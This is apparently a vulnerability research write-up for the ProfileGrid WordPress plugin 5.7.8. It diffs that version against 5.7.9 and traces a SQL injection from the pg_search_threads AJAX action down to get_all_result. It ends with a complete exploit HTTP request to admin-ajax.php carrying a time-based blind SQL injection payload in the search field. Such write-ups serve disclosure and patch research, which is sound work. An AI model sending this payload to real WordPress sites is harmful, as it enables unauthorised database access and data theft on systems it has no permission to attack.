Build wordpress: docker-compose -f stack.yml up
Step 1: Diff ProfileGrid 5.7.8 and ProfileGrid 5.7.9
File: includes\class-profile-magic-dbhandler.php => function get_all_result change in variable $additional
Check function pm_filter_addtional_query_parameter in file includes\class-profile-magic-dbhandler.php (ProfileGrid 5.7.9) it seems to check for keywords that are capable of sql injection
Step2: Focus plugin ProfileGrid 5.7.8 . I search for functions that call the function get_all_result.
I found function pm_messenger_search_threads in file includes\class-profile-magic-chat-system.php call function get_all_result.
Step3: I search for functions that call the function pm_messenger_search_threads
File: public\class-profile-magic-public.php function pg_search_threads call function pm_messenger_search_threads
Step4:
File: includes\class-profile-magic.php
I found registering an action and hook name wp_ajax_pg_search_threads. When this hook is run, the pg_search threads function is called to process the request and return the results.
Exploit:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Cookie: {{Cookie}}
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
action=pg_search_threads&search='+and+sleep(if(1=1,5,0))--+-